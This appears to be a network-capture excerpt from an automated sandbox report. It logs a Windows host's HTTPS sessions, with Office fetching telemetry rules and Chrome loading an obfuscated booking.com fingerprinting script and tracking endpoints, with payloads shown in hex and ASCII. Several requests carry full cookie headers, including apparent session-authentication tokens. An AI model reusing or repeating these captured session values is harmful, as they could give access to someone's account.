2024-11-02 13:00:26 UTC	468	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: nginx date: Sat, 02 Nov 2024 13:00:26 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload x-xss-protection: 1; mode=block X-Cache: Miss from cloudfront Via: 1.1 2837e32f921e7e7517dd6f5461c37dfa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: tPJSagcdwWIawt-Aiw0M-G5vNHwf0ZScmCIiXM17KIBjm8slCmfKQg==
2024-11-02 13:00:26 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-11-02 13:00:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:26 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 9f11ee7d-201e-0096-73f2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130026Z-16547b76f7fm7xw6hC1DFW5px400000000fg000000006yks x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:26 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130026Z-16547b76f7fxsvjdhC1DFWprrs00000000m0000000006uqk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49853	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	1510	OUT	GET /huHzPQWJeNImlm9V?26cdd7e71f36df13=xUwLVR46EJqgJJxHUbzsnxRtavHAvhnUqeZAGBvuws4v1p3U1RemkKwXorSHPXzjn87GMkkz9Wko-M8gNTyWbEdTpxYtncISQcd8WLHSjTsXDJPm6OuKX3sWNjrB6Me0WsFwZ2LIevrCwVYInEj12D9oWeie6c-1CQFYUsWre8ShyOHBo7BwGh-xswuAYtGjTWx5jXgXcgNCQzNo&jb=353926246a736d773555696e66677771246a7b6f35556b666c6f77732d30383330246a7162753d4168726d6f6d246a736035436a706f65652d3032393937 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
2024-11-02 13:00:26 UTC	514	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:26 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT tmx-nonce: 0879407f60bb10db Access-Control-Allow-Origin: * X-Robots-Tag: noindex, nofollow Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-11-02 13:00:26 UTC	7678	IN	Data Raw: 66 66 66 38 0d 0a 76 61 72 20 74 64 5f 34 75 3d 74 64 5f 34 75 7c 7c 7b 7d 3b 74 64 5f 34 75 2e 74 64 5f 35 4b 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 4c 2c 74 64 5f 43 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 45 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 6b 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 4a 3d 30 3b 74 64 5f 4a 3c 74 64 5f 43 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 4a 29 7b 74 64 5f 45 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 4c 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 6b 29 5e 74 64 5f 43 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 4a 29 29 29 3b 74 64 5f 6b 2b 2b 3b 0a 69 66 28 74 64 5f 6b 3e 3d 74 64 5f 4c 2e 6c 65 6e 67 74 68 29 7b 74 64 5f 6b 3d 30 3b 7d 7d 72 65 74 75 72 6e 20 74 64 5f 45 2e 6a Data Ascii: fff8var td_4u=td_4u\|\|{};td_4u.td_5K=function(td_L,td_C){try{var td_E=[""];var td_k=0;for(var td_J=0;td_J<td_C.length;++td_J){td_E.push(String.fromCharCode(td_L.charCodeAt(td_k)^td_C.charCodeAt(td_J)));td_k++;if(td_k>=td_L.length){td_k=0;}}return td_E.j
2024-11-02 13:00:26 UTC	16384	IN	Data Raw: 32 5c 78 33 38 5c 78 36 35 5c 78 36 36 5c 78 36 32 5c 78 36 34 5c 78 36 34 5c 78 33 34 5c 78 33 32 5c 78 36 36 5c 78 33 34 5c 78 33 39 5c 78 36 35 5c 78 36 32 5c 78 36 32 5c 78 33 35 5c 78 33 37 5c 78 33 31 5c 78 36 33 5c 78 36 36 5c 78 33 36 5c 78 33 35 5c 78 33 38 5c 78 33 32 5c 78 33 35 5c 78 36 33 5c 78 33 39 5c 78 33 34 5c 78 36 32 5c 78 33 39 5c 78 33 30 5c 78 33 33 5c 78 33 35 5c 78 33 31 5c 78 33 30 5c 78 33 35 5c 78 33 30 5c 78 36 32 5c 78 33 30 5c 78 33 33 5c 78 33 35 5c 78 33 34 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 33 31 5c 78 33 30 5c 78 33 30 5c 78 33 35 5c 78 33 36 5c 78 33 35 5c 78 33 34 5c 78 33 35 5c 78 33 34 5c 78 33 35 5c 78 33 36 5c 78 33 30 5c 78 36 35 5c 78 33 35 5c 78 33 36 5c 78 33 34 5c 78 33 34 5c 78 33 30 5c 78 36 35 5c 78 Data Ascii: 2\x38\x65\x66\x62\x64\x64\x34\x32\x66\x34\x39\x65\x62\x62\x35\x37\x31\x63\x66\x36\x35\x38\x32\x35\x63\x39\x34\x62\x39\x30\x33\x35\x31\x30\x35\x30\x62\x30\x33\x35\x34\x35\x32\x30\x31\x30\x30\x35\x36\x35\x34\x35\x34\x35\x36\x30\x65\x35\x36\x34\x34\x30\x65\x
2024-11-02 13:00:26 UTC	16384	IN	Data Raw: 64 2e 73 72 63 45 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 29 26 26 74 64 5f 34 75 2e 69 73 44 65 66 69 6e 65 64 28 74 64 5f 64 2e 73 72 63 45 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 5b 74 64 5f 59 5d 29 29 7b 72 65 74 75 72 6e 20 74 64 5f 64 2e 73 72 63 45 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 7d 3b 74 64 5f 34 75 2e 67 65 74 43 6f 6d 70 6f 73 65 64 50 61 74 68 45 6c 65 6d 65 6e 74 52 65 66 65 72 65 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 6b 29 7b 69 66 28 21 74 64 5f 30 64 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 0a 7d 69 66 28 21 74 64 5f 6b 2e 63 6f 6d 70 6f 73 65 64 7c 7c 21 74 64 5f 6b 2e 63 6f 6d 70 6f 73 65 64 50 61 74 68 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3b Data Ascii: d.srcElement.parentNode)&&td_4u.isDefined(td_d.srcElement.parentNode[td_Y])){return td_d.srcElement.parentNode;}return null;};td_4u.getComposedPathElementReference=function(td_k){if(!td_0d){return null;}if(!td_k.composed\|\|!td_k.composedPath){return null;
2024-11-02 13:00:26 UTC	16384	IN	Data Raw: 5c 78 33 31 5c 78 33 36 5c 78 33 34 5c 78 36 35 5c 78 33 34 5c 78 33 39 5c 78 33 34 5c 78 33 37 5c 78 33 34 5c 78 33 37 5c 78 33 30 5c 78 33 31 5c 78 33 32 5c 78 33 36 5c 78 33 31 5c 78 36 36 5c 78 33 34 5c 78 33 39 5c 78 33 34 5c 78 33 30 5c 78 33 30 5c 78 33 36 5c 78 33 37 5c 78 33 32 5c 78 33 31 5c 78 36 36 5c 78 33 34 5c 78 33 39 5c 78 33 35 5c 78 33 39 5c 78 33 35 5c 78 33 36 5c 78 33 35 5c 78 33 35 5c 78 33 35 5c 78 33 31 5c 78 33 30 5c 78 33 33 5c 78 33 30 5c 78 33 32 5c 78 33 30 5c 78 33 34 5c 78 33 35 5c 78 33 34 5c 78 33 35 5c 78 33 37 5c 78 33 35 5c 78 33 39 5c 78 33 30 5c 78 36 36 5c 78 33 30 5c 78 33 39 5c 78 33 31 5c 78 33 36 5c 78 33 34 5c 78 33 31 5c 78 33 34 5c 78 36 34 5c 78 33 31 5c 78 33 30 5c 78 33 34 5c 78 36 34 5c 78 33 34 5c 78 33 Data Ascii: \x31\x36\x34\x65\x34\x39\x34\x37\x34\x37\x30\x31\x32\x36\x31\x66\x34\x39\x34\x30\x30\x36\x37\x32\x31\x66\x34\x39\x35\x39\x35\x36\x35\x35\x35\x31\x30\x33\x30\x32\x30\x34\x35\x34\x35\x37\x35\x39\x30\x66\x30\x39\x31\x36\x34\x31\x34\x64\x31\x30\x34\x64\x34\x3
2024-11-02 13:00:26 UTC	8704	IN	Data Raw: 20 74 64 5f 79 50 3b 7d 3b 74 68 69 73 2e 67 65 74 50 6f 69 6e 74 65 72 70 72 65 73 73 46 69 6c 6c 54 79 70 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 64 5f 6a 61 3b 7d 3b 74 68 69 73 2e 67 65 74 50 61 73 74 65 46 69 6c 6c 54 79 70 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 64 5f 4f 4d 3b 7d 3b 74 68 69 73 2e 67 65 74 41 75 74 6f 66 69 6c 46 69 6c 6c 54 79 70 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 64 5f 7a 34 3b 0a 7d 3b 74 68 69 73 2e 67 65 74 41 75 74 6f 63 6f 6d 70 6c 65 74 65 46 69 6c 6c 54 79 70 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 64 5f 63 53 3b 7d 3b 66 75 6e 63 74 69 6f 6e 20 74 64 5f 73 6b 28 74 64 5f 57 47 2c 74 64 5f 50 53 2c 74 64 5f 41 45 29 7b 76 61 72 Data Ascii: td_yP;};this.getPointerpressFillType=function(){return td_ja;};this.getPasteFillType=function(){return td_OM;};this.getAutofilFillType=function(){return td_z4;};this.getAutocompleteFillType=function(){return td_cS;};function td_sk(td_WG,td_PS,td_AE){var
2024-11-02 13:00:26 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-02 13:00:26 UTC	8192	IN	Data Raw: 66 66 66 38 0d 0a 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 31 64 39 35 34 61 34 36 37 62 65 62 34 35 34 30 39 38 34 35 30 61 34 61 65 30 35 35 61 37 33 33 2e 74 64 5f 66 28 32 33 2c 37 29 29 3a 6e 75 6c 6c 29 2c 74 64 5f 43 30 2c 74 64 5f 48 77 29 3b 0a 28 74 64 5f 71 52 5b 74 64 5f 34 75 2e 42 42 5f 43 4f 4d 4d 4f 4e 2e 4e 4f 54 5f 54 4f 4f 5f 4c 41 52 47 45 5d 29 3f 28 74 64 5f 52 68 2b 3d 74 64 5f 71 52 5b 74 64 5f 34 75 2e 42 42 5f 43 4f 4d 4d 4f 4e 2e 52 45 53 55 4c 54 5f 51 55 45 52 59 5f 44 41 54 41 5d 29 3a 28 74 64 5f 66 4d 3d 74 72 75 65 29 3b 7d 69 66 28 74 64 5f 50 46 26 26 21 74 64 5f 6a 48 29 7b 74 64 5f 48 77 3d 74 64 5f 50 46 2e 67 65 74 44 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 41 74 74 72 69 62 75 74 65 28 29 3b 69 66 28 74 Data Ascii: fff8fined")?(td_4u.tdz_1d954a467beb454098450a4ae055a733.td_f(23,7)):null),td_C0,td_Hw);(td_qR[td_4u.BB_COMMON.NOT_TOO_LARGE])?(td_Rh+=td_qR[td_4u.BB_COMMON.RESULT_QUERY_DATA]):(td_fM=true);}if(td_PF&&!td_jH){td_Hw=td_PF.getDocumentationAttribute();if(t
2024-11-02 13:00:26 UTC	16384	IN	Data Raw: 44 36 35 35 30 37 32 31 34 37 31 36 38 35 37 37 30 35 39 31 34 37 33 32 46 36 46 37 43 31 35 31 37 36 39 36 32 37 42 34 31 30 38 36 30 37 43 35 39 34 33 31 32 34 38 34 32 30 38 34 42 31 36 35 35 34 33 35 30 35 36 30 30 35 46 34 30 31 31 35 41 35 36 34 41 31 41 30 30 35 36 35 46 30 45 30 44 35 44 35 37 31 36 35 30 30 43 35 46 31 36 35 37 34 37 34 39 35 42 35 44 35 37 30 35 34 42 31 41 34 30 35 46 35 46 30 35 35 43 34 42 30 30 35 34 34 31 34 33 35 32 35 33 35 38 30 30 30 37 30 31 30 32 30 37 35 42 31 45 35 30 30 33 30 43 30 33 31 41 35 32 30 45 35 32 30 32 34 39 35 38 30 44 30 37 35 33 31 35 35 38 30 32 30 44 35 31 30 42 30 36 30 31 30 36 35 36 35 41 30 35 35 32 35 34 30 42 30 37 30 31 30 37 35 33 30 35 35 46 30 37 30 37 30 34 35 41 30 30 30 32 30 30 35 42 Data Ascii: D65507214716857705914732F6F7C151769627B4108607C5943124842084B1655435056005F40115A564A1A00565F0E0D5D5716500C5F165747495B5D57054B1A405F5F055C4B0054414352535800070102075B1E50030C031A520E520249580D07531558020D510B060106565A0552540B07010753055F0707045A0002005B
2024-11-02 13:00:26 UTC	16384	IN	Data Raw: 34 75 2e 74 64 7a 5f 62 35 63 63 65 35 61 35 64 35 31 39 34 65 35 38 61 34 65 33 33 65 38 31 66 35 32 61 64 33 39 35 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 62 35 63 63 65 35 61 35 64 35 31 39 34 65 35 38 61 34 65 33 33 65 38 31 66 35 32 61 64 33 39 35 2e 74 64 5f 66 28 31 32 34 2c 31 30 29 29 3a 6e 75 6c 6c 29 3b 0a 7d 69 66 28 74 79 70 65 6f 66 20 6e 61 76 69 67 61 74 6f 72 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 69 66 28 74 79 70 65 6f 66 20 6e 61 76 69 67 61 74 6f 72 2e 68 61 72 64 77 61 72 65 43 6f 6e 63 75 72 72 65 6e 63 79 3d 3d 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 62 35 63 63 65 35 61 35 64 35 31 39 34 65 35 38 61 34 65 33 33 65 38 31 66 35 32 61 64 33 39 35 29 21 Data Ascii: 4u.tdz_b5cce5a5d5194e58a4e33e81f52ad395.td_f)!=="undefined")?(td_4u.tdz_b5cce5a5d5194e58a4e33e81f52ad395.td_f(124,10)):null);}if(typeof navigator!==[][[]]+""){if(typeof navigator.hardwareConcurrency===((typeof(td_4u.tdz_b5cce5a5d5194e58a4e33e81f52ad395)!
2024-11-02 13:00:26 UTC	16384	IN	Data Raw: 78 33 36 5c 78 33 35 5c 78 36 32 5c 78 33 31 5c 78 33 35 5c 78 33 34 5c 78 33 33 5c 78 33 34 5c 78 33 35 5c 78 33 35 5c 78 33 34 5c 78 33 30 5c 78 33 38 5c 78 33 36 5c 78 33 32 5c 78 33 35 5c 78 36 36 5c 78 33 35 5c 78 36 31 5c 78 33 35 5c 78 36 34 5c 78 33 30 5c 78 33 39 5c 78 33 34 5c 78 33 36 5c 78 33 34 5c 78 36 32 5c 78 33 31 5c 78 33 37 5c 78 33 35 5c 78 33 39 5c 78 33 34 5c 78 36 36 5c 78 33 35 5c 78 33 34 5c 78 33 36 5c 78 33 37 5c 78 33 30 5c 78 36 34 5c 78 33 35 5c 78 33 38 5c 78 33 30 5c 78 33 37 5c 78 33 35 5c 78 36 35 5c 78 33 34 5c 78 33 32 5c 78 33 31 5c 78 33 36 5c 78 33 31 5c 78 33 34 5c 78 33 35 5c 78 36 35 5c 78 33 36 5c 78 33 37 5c 78 33 30 5c 78 36 32 5c 78 33 35 5c 78 36 33 5c 78 33 35 5c 78 33 34 5c 78 33 30 5c 78 33 39 5c 78 33 34 Data Ascii: x36\x35\x62\x31\x35\x34\x33\x34\x35\x35\x34\x30\x38\x36\x32\x35\x66\x35\x61\x35\x64\x30\x39\x34\x36\x34\x62\x31\x37\x35\x39\x34\x66\x35\x34\x36\x37\x30\x64\x35\x38\x30\x37\x35\x65\x34\x32\x31\x36\x31\x34\x35\x65\x36\x37\x30\x62\x35\x63\x35\x34\x30\x39\x34

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49855	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	633	OUT	GET /fp/clear.png HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: /, doregtzf/0879407f60bb10db1a0be17c-3152-46c0-a97b-914483824c57 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:26 UTC	417	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:26 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Last-Modified: Sat, 02 Nov 2024 13:00:26 GMT Expires: Thu, 01 Nov 2029 13:00:26 GMT Etag: 1548c35b3c30425e8c04c8b5c389f91a Cache-Control: private, must-revalidate, max-age=0 Access-Control-Allow-Origin: https://account.booking.com Content-Length: 81 Connection: close Content-Type: image/png
2024-11-02 13:00:26 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49856	52.209.78.88	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	350	OUT	GET /raphael_cs HTTP/1.1 Host: booking.ck123.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:26 UTC	523	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 02 Nov 2024 13:00:26 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Set-Cookie: Raphael=Y2Nra-M31LNFqE1wu245dH_Q6wFZaMRvTvRFGWYWg7EOrjhbcMDRyfViQh_j4aoKD0swnAUfGh2rWahSOabBtYXSdfQ_KAYLhD-lLiNtkxxCbFn7; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Cache-Control: max-age=10000, immutable, private Access-Control-Allow-Headers: cookie, content-type Access-Control-Max-Age: 1200
2024-11-02 13:00:26 UTC	134	IN	Data Raw: 37 62 0d 0a 7b 22 6a 38 38 22 3a 22 5a 6d 5a 71 61 68 53 5f 52 44 75 35 31 55 53 53 68 79 5f 52 42 51 39 62 6b 31 7a 66 36 4e 67 63 2d 78 63 72 50 47 31 42 52 65 50 48 72 72 43 65 6d 30 41 4c 52 64 70 30 64 4a 43 57 6a 42 44 46 35 44 6a 31 67 57 32 4b 4c 71 6a 71 52 78 44 37 61 47 78 75 31 66 38 42 31 4b 74 41 44 6b 56 41 49 5a 70 65 69 4f 41 76 4c 43 65 62 37 37 64 5a 22 7d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b{"j88":"ZmZqahS_RDu51USShy_RBQ9bk1zf6Ngc-xcrPG1BRePHrrCem0ALRdp0dJCWjBDF5Dj1gW2KLqjqRxD7aGxu1f8B1KtADkVAIZpeiOAvLCeb77dZ"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49857	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	1726	OUT	GET /CvvXMUccr6E3ph3y?1cc01da8db961767=JI3-jrpjkLDyhGzKSUTSYtpoAduuUYP77Psm1XOnM8MEueBfEP1sgw7TFuJx1He3WMkZhzXTcFNgsaU2N6ulYOsAzwZQOziO13H7hSsyK74g0wjMDtUYrU0VjQbTgv6z0i3CWpbiUUCaEn88HtSHELr83bCmVMD1BifcwHWMkBXgqPPpmxiDTP8pSHI1qymVAWAQ-SGsxgfxrgTrLsE HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
